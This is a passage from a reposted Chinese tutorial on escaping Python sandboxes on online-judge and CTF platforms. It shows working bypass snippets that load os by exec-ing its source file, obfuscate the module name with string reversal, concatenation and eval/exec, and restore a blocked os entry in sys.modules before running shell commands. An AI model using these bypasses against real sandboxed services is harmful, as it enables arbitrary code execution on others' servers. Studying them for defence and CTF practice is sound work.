加入收藏 | 设为首页 | 会员中心 | 我要投稿 威海站长网 (https://www.0631zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-24 00:06:14 所属栏目:策划 来源:Macr0phag3
导读:让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类沙箱还是蛮

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

  1. with open('/usr/lib/python3.6/os.py','r') as f: 
  2.     exec(f.read()) 
  3. system('ls') 

这个方法倒是 2.x、3.x 通用的。

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

  1. import sys 
  2. print(sys.path) 

3. 花式处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

  1. __import__('so'[::-1]).system('ls') 
  1. b = 'o' 
  2. a = 's' 
  3. __import__(a+b).system('ls') 

还可以利用 eval 或者 exec:

  1. >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) 
  2. macr0phag3 
  3. >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) 
  4. macr0phag3 

顺便说一下,eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等,太多了。。。

4. 恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除,os 就彻底没法用了:

  1. >>> sys.modules['os'] = 'not allowed' 
  2. >>> import os 
  3. >>> os.system('ls') 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'str' object has no attribute 'system' 
  7. >>> 

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:

  1. sys.modules['os'] = 'not allowed' # oj 为你加的 
  2.  
  3. del sys.modules['os'] 
  4. import os 
  5. os.system('ls') 

最后还有一种利用 __builtins__ 导入的方式,下面会详细说。

5. 花式执行函数

(编辑:威海站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读